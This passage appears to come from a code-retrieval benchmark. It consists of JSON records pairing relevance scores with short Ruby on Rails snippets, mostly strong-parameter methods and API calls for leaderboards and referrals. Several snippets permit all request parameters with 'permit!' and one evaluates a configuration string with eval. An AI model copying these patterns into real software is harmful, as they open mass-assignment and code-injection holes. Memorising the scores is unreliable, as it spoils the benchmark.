"b977c2daceb28f26ee659336b2b98aa9", "score": "0.618889", "text": "def params\n raise \"Override protected method `params'.\"\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6180647", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "706df0e25391ed2b932f54a646bb0a10", "score": "0.6180104", "text": "def list_name_param opts={}\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6175616", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "d3732ff42abd0a618a006d1f24e31e38", "score": "0.61731255", "text": "def add_to_filter_parameters; end", "title": "" }, { "docid": "8e54eaded22dd280d836e96375fed9a4", "score": "0.61730814", "text": "def paramun_params\n params.require(:parametre).permit!\n end", "title": "" }, { "docid": "f8c05c05fb596260a51d3ab4fb42243d", "score": "0.6172509", "text": "def required_parameters\n [ ]\n end", "title": "" }, { "docid": "19080b9212dc7ba3727f80cc9430e426", "score": "0.6172386", "text": "def special_params\n params.require(:special).permit(:name, :description, :function)\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.6163843", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "3da9117a80cdfd040f0f0ed9d3ffed55", "score": "0.6146083", "text": "def allowable_params(unfiltered_params)\n unfiltered_params.permit(:property_id, :branch_id, :client_name, :branch_name,\n :department, :reference_number, :address_name, :address_number, :address_street,\n :address2, :address3, :address4, :address_postcode, :country, :display_address,\n :property_bedrooms, :property_bathrooms, :property_ensuites, :property_reception_rooms,\n :property_kitchens, :display_property_type, :property_type, :property_style,\n :property_age, :floor_area, :floor_area_units, :property_feature1, :property_feature2,\n :property_feature3, :property_feature4, :property_feature5, :property_feature6,\n :property_feature7, :property_feature8, :property_feature9, :property_feature10,\n :price, :for_sale_poa, :price_qualifier, :property_tenure, :sale_by,\n :development_opportunity, :investment_opportunity, :estimated_rental_income,\n :availability, :main_summary, :full_description, :date_last_modified,\n :featured_property, :region_id, :latitude, :longitude,\n flags_attributes: [:title],\n images_attributes: [:url, :modified],\n floorplans_attributes: [:url, :modified],\n epc_graphs_attributes: [:url, :modified],\n epc_front_pages_attributes: [:url, :modified],\n brochures_attributes: [:url, :modified],\n virtual_tours_attributes: [:url, :modified],\n external_links_attributes: [:url, :description, :modified])\n end", "title": "" }, { "docid": "b9e34b5ac2955add85639f9ca0a07b7f", "score": "0.6145458", "text": "def resource_params\n permits = resource_whitelist\n params.require(model_symbol).permit(permits)\n end", "title": "" }, { "docid": "d646c7ba579499db9edadb606c8b9910", "score": "0.61444825", "text": "def permitted_params\n logger.warn \"#{self}: please override `permitted_params` method.\"\n params.require(resource_request_name).permit!\n end", "title": "" }, { "docid": "4425e2f97b4355b14334b9744f19c412", "score": "0.6143515", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "4425e2f97b4355b14334b9744f19c412", "score": "0.6143515", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.61364955", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "c4a951d3ba89c6d098a96d3d5a2b8643", "score": "0.61280644", "text": "def collection_permitted_params\n params.permit(:format, :page, :per_page, :sort, :include, :locale, fields: {}, filter: {})\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6113519", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "34fb76d8decc10cd29ada824ff70ae63", "score": "0.6112032", "text": "def permitted_resource_params\n p params[object_name].present? ? params.require(object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.6106793", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "11f5f8959aba1f4022c60509f20e40af", "score": "0.61061025", "text": "def permit_params\n params[:permit]\n end", "title": "" }, { "docid": "45791845cef485d15b7014088dd0be8d", "score": "0.6105072", "text": "def allowed_params\n %i[title body]\n end", "title": "" }, { "docid": "4632c7949842c8534d66b50254032add", "score": "0.6092409", "text": "def parameterization_params\n params.permit(:name, :user_id, :number_value, :money_value)\n end", "title": "" }, { "docid": "bfa951108b69c8eed106b7ad8acbcbfd", "score": "0.60909486", "text": "def data_param\n params.permit(:value)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.60895824", "text": "def filter_params\n end", "title": "" }, { "docid": "63f5e4e9733f9e6b3f98d5e069440292", "score": "0.6083517", "text": "def black_list_params\r\n params.require(:black_list).permit(:user)\r\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.6081807", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6079226", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "44a1ec524e77d2a2c4b85e8341df27db", "score": "0.6077248", "text": "def product_params\n params.permit(:visible)\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.60767365", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "c31ef48e8fd467d94158d7ac7f405a3f", "score": "0.60746986", "text": "def list_params\n params.permit(:id, :public_id, :name, :list, :visibility, values: [])\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.60703695", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6070048", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.6069783", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "c1f13277dbc8ff3a9f65df027f9d915a", "score": "0.6063365", "text": "def permitted_params(unpermitted_params)\n unpermitted_params.permit(\n :controller,\n :action,\n :site_id,\n :format,\n :type,\n :path_contains,\n :new_url_contains,\n :tagged,\n )\n end", "title": "" }, { "docid": "cf963fb451b51d62fcc986deb020a044", "score": "0.6047726", "text": "def permit_params\n\t\t\t\teval(@configuration.get_params)\n\t\t\tend", "title": "" }, { "docid": "77b78ffc267fcf03379cf09c63ad361c", "score": "0.60399187", "text": "def gallery_params\n params.require(:gallery).permit(:name, :white_list)\n end", "title": "" }, { "docid": "be92e82ba93b35cac91b7c02d6a445f7", "score": "0.6033119", "text": "def get_params\r\n #params.require(:view_adm).permit(:name, :action_scope,:caps,:cols)\r\n params.require(:view_adm).permit!\r\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.6029004", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "5b72cb3f5ae45681ff116df46f5da01b", "score": "0.6025425", "text": "def provider_params\n params.permit(:name)\n end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60199857", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60199857", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" } ]
610525befaed1b38d0c0147857ec1fea
Returns the referral leaderboard. Args : access_token > the oauth token to use work correctly as expected. Returns : JSON an array leaderboard objects Raises : ++ >
[ { "docid": "102298eb9c30a29970e0ce68575662e2", "score": "0.6589686", "text": "def referral\n expose Leaderboard.referral(@oauth_token)\n end", "title": "" } ]
[ { "docid": "3a256399bcdfd762fa8b8354900c70a8", "score": "0.6365108", "text": "def friends_leaderboard\n get(\"user/#{user_id}/friends/leaderboard.json\")\n end", "title": "" }, { "docid": "f09d34d666e01ade44a836af34f040de", "score": "0.63548386", "text": "def get_leaderboard(options={})\n # make the GET call\n path = '/leaderboard'\n\n options.merge!({:with => 'me', :access_token => @access_token})\n raw_response = Punchtab::API.get(path, :query => options)\n Punchtab::Utils.process_response(raw_response)\n end", "title": "" }, { "docid": "b9ab46812e519ad146101cf2e1ec5682", "score": "0.6341755", "text": "def friends_leaderboard\n get_call(\"user/#{user_id}/friends/leaderboard.json\")\n end", "title": "" }, { "docid": "f669e977f866fa77e835284f12001e24", "score": "0.61089605", "text": "def leaderboards(args={})\n fetch(url(:\"leaderboards\", args))\n end", "title": "" }, { "docid": "827efea48067b5e4063580232b99f26a", "score": "0.5894846", "text": "def leader\n url = ['/v1/status/leader']\n ret = @conn.get concat_url url\n JSON.parse(ret.body)\n end", "title": "" }, { "docid": "a0c86ab8283d084163715ac2d67aafa0", "score": "0.5874575", "text": "def friends_leaderboard(user_id: '-')\n return get(\"#{API_URI}/#{FRIENDS_API_VERSION}/user/#{user_id}/friends/leaderboard.json\")\n end", "title": "" }, { "docid": "21d0cc979d02d1cf76d75e0f25b9b4e7", "score": "0.58342713", "text": "def leaderboards(app_id); end", "title": "" }, { "docid": "2dd9c5373ac0e14edd2cc2ff10477b23", "score": "0.5774246", "text": "def leaderboards; end", "title": "" }, { "docid": "7edfff14175a6ef2694ad04d0ae5c59a", "score": "0.5723962", "text": "def leaderboards\n GameLeaderboard.leaderboards @short_name\n end", "title": "" }, { "docid": "cdb2c805893bd416700d36bb7f1379bd", "score": "0.55938494", "text": "def get_referrals(account_slug, \r\n advocate_token, \r\n page = 1, \r\n limit = 10, \r\n filter = nil, \r\n sort = nil)\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/accounts/{account_slug}/advocates/{advocate_token}/referrals'\r\n _query_builder = APIHelper.append_url_with_template_parameters _query_builder, {\r\n 'account_slug' => account_slug,\r\n 'advocate_token' => advocate_token\r\n }\r\n _query_builder = APIHelper.append_url_with_query_parameters _query_builder, {\r\n 'page' => page,\r\n 'limit' => limit,\r\n 'filter' => filter,\r\n 'sort' => sort\r\n }\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "title": "" }, { "docid": "444da5d9be8ab734f816bfb8e9609541", "score": "0.55843264", "text": "def index\n @leaderboards = @app.leaderboards.all\n end", "title": "" }, { "docid": "c49d6343ab715527bf410b92f9b1be56", "score": "0.5575998", "text": "def leaderboard()\n\t\tconn = DBTools.new.connectToDB()\n\t\t\n\t\t# get the number of wins per user\n query = @@SQL_CountWinsPerUser\n results = conn.exec(query)\n \n response = Array.new\n \n # construct response\n results.each do |row|\n \tresponse << {'userid' => Integer(row['userid']), 'name' => row['name'], 'numwins' => Integer(row['numwins'])}\n end\n \n # clear results and close db connection\n results.clear()\n conn.finish()\n \n # respond\n response.to_json\n\tend", "title": "" }, { "docid": "155704fa4eed7ea5bb6788257a28b10a", "score": "0.5524914", "text": "def leaderboard\n render json: (@campaign.ranked_approved_photos.first(10) || []), campaign_to_score: @campaign\n end", "title": "" }, { "docid": "e5be99d589c9f817f55afb9e70e7a038", "score": "0.550516", "text": "def leaderboards\n GameLeaderboard.leaderboards @game_friendly_name\n end", "title": "" }, { "docid": "6b7553a1cf50d0ac64fe6f17b9de4533", "score": "0.54803824", "text": "def leader(options = {})\n ret = send_get_request(@conn, ['/v1/status/leader'], options)\n JSON.parse(ret.body)\n end", "title": "" }, { "docid": "78f5af2915c020c0d9511ad2cad5a9fa", "score": "0.54319763", "text": "def get_referrals_summary_per_origin(advocate_token)\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/reports/referrals-summary-per-origin'\r\n _query_builder = APIHelper.append_url_with_query_parameters _query_builder, {\r\n 'advocate_token' => advocate_token\r\n }\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "title": "" }, { "docid": "8aac99eb765b45954e3eafdb5870d0d3", "score": "0.54308635", "text": "def index\n @leaderboards = Leaderboard.all\n end", "title": "" }, { "docid": "4627d1636814b9b8ba32a33091084f9f", "score": "0.54061365", "text": "def index\n @games_leaderboards_scores = Games::Leaderboards::Score.all\n\n render json: @games_leaderboards_scores\n end", "title": "" }, { "docid": "6fb8e620ce857f5d13de529e55fe7d29", "score": "0.53760755", "text": "def get_leaderboard(id)\n response = get(PATH, id)\n response_body = JSON.parse(response.body, symbolize_names: true)\n\n error_message = response_body[:error_message]\n\n if response.success?\n players = []\n response_body[:players].each do |player_hash|\n players << GameServer::Model::LeaderboardPlayer.new(player_hash[:href], player_hash[:nickname], player_hash[:points])\n end\n\n leaderboard = GameServer::Model::Leaderboard.new(response_body[:id],\n response_body[:name],\n response_body[:max_players],\n response_body[:point_type],\n response_body[:period],\n response_body[:period_value],\n response_body[:tags],\n players)\n else\n leaderboard = nil\n end\n\n return GameServer::Admin::Response::GetLeaderboardResponse.new(response.success?, error_message, leaderboard)\n end", "title": "" }, { "docid": "a20daee3eeca27386aa4cc7f7f4e0b72", "score": "0.5375866", "text": "def leaderboard\r\n table = []\r\n @ranks = load_ranks\r\n table = load_table(@ranks)\r\n display_ranks(table)\r\n return LEADERBOARD\r\n end", "title": "" }, { "docid": "2a6e5800c48bbdab9ba55988561a0983", "score": "0.53515154", "text": "def getFriends\n friends = RestClient.get 'https://graph.facebook.com/me/friends/', \n {:params => {:access_token => token}}\n ActiveSupport::JSON.decode friends\n end", "title": "" }, { "docid": "39e2b56b2d6818e2f401b4d35a769427", "score": "0.5347612", "text": "def show\n\t@leaderboards = @app.leaderboards.all\n\t@scores = @leaderboard.scores.find(:all, :order => \"value DESC\")\n end", "title": "" }, { "docid": "1d444264ab2d105bd256b4c96ed67d5e", "score": "0.53465104", "text": "def leaderboard; end", "title": "" }, { "docid": "ad9bfb0be75f0290e2d8178fb6dc905f", "score": "0.53224707", "text": "def referrals\n render json: {\n rewards: @current_user.rewards.where(reward_type_id:12).order(created_at: :desc).map { |x| referral_filter(x) }.compact,\n counter: User.all.where(sponsor_uuid: @current_user.uuid).count\n }\n end", "title": "" }, { "docid": "88de510a872ac2ec31df68f3522a6717", "score": "0.53134364", "text": "def leader\n api_execute( version_prefix + '/leader', :get)\n end", "title": "" }, { "docid": "3adb2a0005168fc0ba74fb2dea4780e6", "score": "0.5311891", "text": "def campaign_leaderboard(campaign_id, options={})\n response = connection.get do |req|\n req.url \"campaigns/#{campaign_id}/leaderboard\"\n end\n return_error_or_body(response)\n end", "title": "" }, { "docid": "55d6c3b38113f97bbcdbdc80a0e83fcf", "score": "0.53089696", "text": "def leaderboard\n end", "title": "" }, { "docid": "5f694455bb50503ddc80f375e0223d0b", "score": "0.52957714", "text": "def leader\n api_execute(version_prefix + '/stats/leader', :get).body.strip\n end", "title": "" }, { "docid": "7760fe3fe3930f798911073b56c1a88a", "score": "0.52939034", "text": "def leaderboard\n\t\tcompetition_id = params[:id]\n\t\t@data = get_competition_data(competition_id)\n\t\t\n\t\t@races = []\n\t\tCompetitionStage.where({:competition_id=>competition_id, :status=>STATUS[:ACTIVE]}).select(:race_id).group(:race_id).each do |competition_stage|\n\t\t\trace_id = competition_stage.race_id\n\t\t\trace_data = Race.find_by_id(race_id)\n\t\t\tstages = Stage.where({:race_id=>race_id, :status=>STATUS[:ACTIVE], :is_complete=>true}).order('starts_on')\n\t\t\t@races.push({:race_data=>race_data, :stages=>stages})\n\t\tend\n\t\t\n\t\trender :layout => 'competition'\n\tend", "title": "" }, { "docid": "f2577cd80958236674458fd1872350a7", "score": "0.5282586", "text": "def friends(oauth_access_token)\n token(oauth_access_token).get(config.api_site + \"/people/~/connections\").parsed['connections']['person']\n end", "title": "" }, { "docid": "f412c87c88d1d7ac1e08e6c5f565648a", "score": "0.5276042", "text": "def get_leaderboard(results=@max_results)\n top_ids = @db.zrevrange(@leaderboard, 0, results - 1)\n top_ids.empty? ? [] : @db.hmget(@items, top_ids) \n end", "title": "" }, { "docid": "5af56abadd7f044833d0591759b1dde3", "score": "0.52753055", "text": "def friends_timeline\n oauth_response = access_token.get('/statuses/friends_timeline.json')\n JSON.parse(oauth_response.body)\n end", "title": "" }, { "docid": "9bab6bfb1eaabd0447e40bf92d6f847c", "score": "0.527442", "text": "def leaders(options = {})\n community = options[:community] || \"all\"\n category = options[:category] || \"all\"\n year = options[:year] || \"all\"\n month = options[:month] || \"all\"\n key = \"cs:leaderboard:#{community}:#{category}:#{year}:#{month}\"\n\n get_leaders(key, options)\n end", "title": "" }, { "docid": "1a88fb8a33f7d7435f994b8daa75f18c", "score": "0.5267867", "text": "def respond_with_leaderboard\n key = \"leaderboard:1\"\n response = $redis.get(key)\n if response.nil?\n leaders = []\n get_score_leaders.each_with_index do |leader, i|\n user_id = leader[:user_id]\n name = get_slack_name(leader[:user_id], { :use_real_name => true })\n score = currency_format(get_user_score(user_id))\n leaders << \"#{i + 1}. #{name}: #{score}\"\n end\n if leaders.size > 0\n response = \"Let's take a look at the top scores:\\n\\n#{leaders.join(\"\\n\")}\"\n else\n response = \"There are no scores yet!\"\n end\n $redis.setex(key, 60*5, response)\n end\n response\nend", "title": "" }, { "docid": "f8e9c2b5b63341ed4319165af693780e", "score": "0.5267792", "text": "def aqi_ranking(token=nil)\n access_api('aqi_ranking.json', token: token)\n end", "title": "" }, { "docid": "f11a22d09403f0e2a414b1bfd939488a", "score": "0.5265187", "text": "def show_leaders\n @leaders = User.all.order(score: :desc).limit(30)\n\n result = HTTParty.get(\"https://api.vk.com/method/users.get\", query: {\n user_ids: @leaders.map { |l| l.vk_id }.join(\",\"),\n fields: 'photo_50',\n access_token: Rails.application.config.vk[:access_token],\n v: '5.103',\n lang: 'ru'\n }, logger: Rails.logger, log_level: :debug, log_format: :curl)\n\n response = JSON.parse(result.body)\n @leaders_info = response['response']\n\n # merge @leaders and leaders_info\n @leaders_info.each do |leader|\n leader['score'] = @leaders.select { |l| l.vk_id == leader['id'] }[0].score\n end\n respond_to do |format|\n format.html { render 'application/show_leaders' }\n format.json { render json: @leaders_info }\n end\n end", "title": "" }, { "docid": "775388042919b9a6d299fd90c8e4e92a", "score": "0.5250924", "text": "def index\n @leaders = Leader.all\n #running_totals = @leaders.each |l| l.running_total\n\n render json: @leaders.each {|l| { rank: l.rank, running_total: l.running_total, user: l.user}}\n end", "title": "" }, { "docid": "3ea0ce7eebadeecc23590233d6ee0369", "score": "0.5227643", "text": "def get_leaderboard\n\t\tkills = self.assignments.where(status: 'complete')\n\t\tkiller_ids = kills.pluck(:player_id)\n\t\t# return killer_ids\n\t\tleaderboard = Array.new\n\t\tkiller_ids.uniq.each do |elem|\n\t\t\tleader = Hash.new\n\t\t\tleader[\"name\"] = Player.find(elem).name\n\t\t\tleader[\"kills\"] = killer_ids.count(elem).to_i\n\t\t\tleader[\"id\"] = elem\n\t\t \tleaderboard << leader\n\t\tend\n\t\tsorted_leaderboard = leaderboard.sort_by { |leader| leader[\"kills\"] }\n\t\treturn sorted_leaderboard.reverse\n\tend", "title": "" }, { "docid": "ef1b0c42f5ca0fb595d435c25c200b5f", "score": "0.5220294", "text": "def referrals\n expose Member.referrals(@oauth_token, params[:membername])\n end", "title": "" }, { "docid": "6bc15db3736926a91c94c03131d3d607", "score": "0.5188726", "text": "def show\n @leaderboard\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flock }\n end\n\n\n end", "title": "" }, { "docid": "4258f75fc85b642d90a24c4a979fd05f", "score": "0.5184382", "text": "def load_leaderboards(app_id); end", "title": "" }, { "docid": "926a096d0e6d8a7cbdace0ad2aba7932", "score": "0.5157447", "text": "def get_friends(access_token)\n graph = Koala::Facebook::API.new(access_token)\n return graph.get_connections(\"me\", \"friends\")\n end", "title": "" }, { "docid": "129409489464335ef1d458998331f33e", "score": "0.5152332", "text": "def most_referrals\n metrics = Referral.by_dataset(params[:dataset_id])\n .group(:referred_by)\n .count.sort_by{|k,v| v}\n .reverse.reject{|r| r[0] == nil}\n\n if params[:data].present? and params[:data][:limit].present?\n limit = params[:data][:limit].to_i\n else\n limit = metrics.count > 100 ? metrics.count / 10 : metrics.count\n end \n\n @referrals = metrics[0...limit]\n\n @referrals.each do |ref|\n referrer = Referral.find(ref[0])\n ref.unshift(referrer.partial_name)\n end\n\n respond_to do |format|\n format.html { render action: 'most_referrals' }\n format.json { render json: { success: true, status: \"OK\", referrals: @referrals } }\n end\n end", "title": "" }, { "docid": "4708b8b7571acb9e3c618b18ab4d7c07", "score": "0.5128681", "text": "def get_reward(options={})\n # make the GET call\n path = '/reward'\n\n options.merge!({:access_token => @access_token})\n raw_response = Punchtab::API.get(path, :query => options)\n Punchtab::Utils.process_response(raw_response)\n end", "title": "" }, { "docid": "249655b8a72a8e73510bb69ad197c7d2", "score": "0.51207274", "text": "def getBoardsByMember(memberId)\n\tboards = RestClient.get(\"https://api.trello.com/1/members/\"+memberId+\"/boards?key=\"+$key+\"&token=\"+$token+\"&filter=open\")\n\tboards = JSON.parse(boards)\nend", "title": "" }, { "docid": "54f72711bc35685f0b7cfbeb38cb7977", "score": "0.5075801", "text": "def get_leaderboard\n users = self.users\n users.each do |u|\n u.point_log.get_points\n end\n end", "title": "" }, { "docid": "d6e7602a23070b27736d456b2cd4e0c2", "score": "0.5073371", "text": "def show\n @leader_board = LeaderBoard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leader_board }\n end\n end", "title": "" }, { "docid": "3fe221414b1ebd3884afce09da204eea", "score": "0.50598395", "text": "def access_token(token)\n get(\"/oauth2/accesstokens/#{token}\")\n end", "title": "" }, { "docid": "dbfd90293ce009967f7ed71859e861bd", "score": "0.50460815", "text": "def fetch_access_token!\n if token_response.success?\n apply_token_data(token_response)\n else\n token_error(token_response)\n end\n end", "title": "" }, { "docid": "9a968ccdbd68064957f8dc904e0e9e5a", "score": "0.50393456", "text": "def getFriendsList()\n #convert the oauth_tokens array to a hash base on the provider (to easily access the tokens)\n tokenHash = oauth_tokens.index_by(&:provider)\n #get the Facebook Token\n token = tokenHash[FacebookProvider.service_name].access_token\n \n #Define the friends return array and create an HTTPClient.\n friends = Array.new\n client = HTTPClient.new\n \n #Make a HTTP GET Request from the Facebook friends API to get the fields we'll be using in our app\n headers={\"access_token\"=>token}\n requestURL = \"https://graph.facebook.com/me/friends?fields=id,first_name,last_name,picture\"\n response = client.get(requestURL,headers) \n responseJson = JSON.parse(response.body)\n \n #If the data tag is in the returned JSON, we know we got some data bacl\n if responseJson[\"data\"]\n friendsJson = responseJson[\"data\"]\n friendsJson.each do |friendJson|\n friend = Friend.new\n friend.provider = \"Facebook\"\n friend.providerid = friendJson[\"id\"]\n friend.first_name = friendJson[\"first_name\"]\n friend.last_name = friendJson[\"last_name\"]\n if friendJson[\"picture\"][\"data\"] && friendJson[\"picture\"][\"data\"][\"url\"]\n friend.picture_url = friendJson[\"picture\"][\"data\"][\"url\"]\n end\n friends.push(friend)\n end\n #Otherwise raise an excpetion to be handled by the caller.\n else \n raise \"Error getting data from Facebook API\"\n end\n return friends\n end", "title": "" }, { "docid": "bd1039a0624ae8b9eac4344dca58256c", "score": "0.5037269", "text": "def get_leaderboard(input)\n categorize_score_type = input[:categorize_score_type]\n dashboard_type = input[:dashboard_type]\n\n score_type = [dashboard_type]\n data = categorize_score_type.select{|key, value| score_type.include? key }\n # rearrange the order of the top 25\n sorted_order = data[dashboard_type][0][\"all_scores\"].sort_by {|k, v| v.to_i}.reverse\n # return an array with the name and count\n params = data[dashboard_type][0][\"params\"].to_i\n top_scores = sorted_order.take(params)\n\n all_name = data.first[1][0][\"all_name\"]\n top = []\n top_scores.each do |score|\n id = score[0]\n name = all_name[id]\n top.append([name, score[1]])\n end\n Success(top)\n rescue StandardError => e\n puts \"log[error]:leaderboard: #{e.full_message}\"\n Failure('Failed to get leaderboard data.')\n end", "title": "" }, { "docid": "421d96ae0c0ca1f570879cb1747b32c0", "score": "0.5036249", "text": "def get_facebook_friends(oauth_access_token)\n @graph = Koala::Facebook::API.new(oauth_access_token)\n friends = @graph.get_connections(\"me\", \"friends\")\n friends\n end", "title": "" }, { "docid": "2a71cc45e75fbaf0b8e86d222192e4ed", "score": "0.5035495", "text": "def user_data(access_token) \n\n access_token.options[:mode] = :header\n \n # Make signed request to retrieve profile data as JSON\n # ATTN the contributor ID string is hardcoded here for now\n begin\n response = access_token.get('/9999-2411-9999-4111', :headers => {'Accept'=>'application/json'})\n rescue ::OAuth2::Error => e\n raise e.response.inspect\n end\n userhash = MultiJson.decode(response.body)\n userhash['profile-list']['researcher-profile']['uri'] = 'http://localhost:8080/9999-2411-9999-4111'\n userhash['profile-list']['researcher-profile']['profile_format'] = 'application/json'\n\n puts \"userhash=\"\n pp userhash\n return userhash[\"profile-list\"][\"researcher-profile\"]\n end", "title": "" }, { "docid": "c2584971b4b383d60a724417578920c3", "score": "0.5012126", "text": "def index\n @leaderboards = Stat.all(:order => \"points DESC\", :limit => 10)\n\n end", "title": "" }, { "docid": "62938002a58b3db9359e67be5986c7e3", "score": "0.5003038", "text": "def leaderboard()\n leaderboard = []\n $teams.each do |match|\n leaderboard << match[:home_team]\n leaderboard << match[:away_team]\n end\n\n leaderboard.uniq!\n leaderboard.each_with_index { |points,i| leaderboard[i] = total_score(points) }\n leaderboard = leaderboard.sort_by { |balance| balance[:victory_balance] }.reverse\n\n leaderboard\nend", "title": "" }, { "docid": "1d02ed35e3e1390a768804432f3c3a89", "score": "0.500235", "text": "def leaderboard\n if @game.ends_at > Time.now && !@game.is_admin?(current_user)\n flash[:error] = \"Game has not yet ended!\"\n return redirect_to next_game_path\n end\n\n @photos = Photo.where(game: @game, rejected: false).includes(:team).includes(:mission)\n @missions_by_team = Hash[@photos.group_by{|p| p.team}.map {|team, photos| [team, photos.group_by(&:mission).map{|m, ph| m}.uniq]}]\n @total_by_team = Hash[@missions_by_team.map {|t, m| [t, m.map(&:points).sum]}]\n end", "title": "" }, { "docid": "68032c0f9c681bd86463fd66f1557638", "score": "0.50023013", "text": "def top_referrers\n \t@top_urls_in_past_5_days_with_referrers = View.top_urls_grouped_by_past_days(5, :with_referrers)\n \trender json: @top_urls_in_past_5_days_with_referrers\n end", "title": "" }, { "docid": "28ee0e6ac9c362a01430e5232de06407", "score": "0.4989482", "text": "def leaderboard\n @leaderboard = User.star_score_leaderboard\n @top_10 = @leaderboard[0,10]\n @users_position = @leaderboard.index{|u| u == current_user} if current_user\n end", "title": "" }, { "docid": "d9552d47bde9e7fb5992425fa5e930cb", "score": "0.4985751", "text": "def get_referral(account_slug, \r\n advocate_token, \r\n referral_id)\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/accounts/{account_slug}/advocates/{advocate_token}/referrals/{referral_id}'\r\n _query_builder = APIHelper.append_url_with_template_parameters _query_builder, {\r\n 'account_slug' => account_slug,\r\n 'advocate_token' => advocate_token,\r\n 'referral_id' => referral_id\r\n }\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => 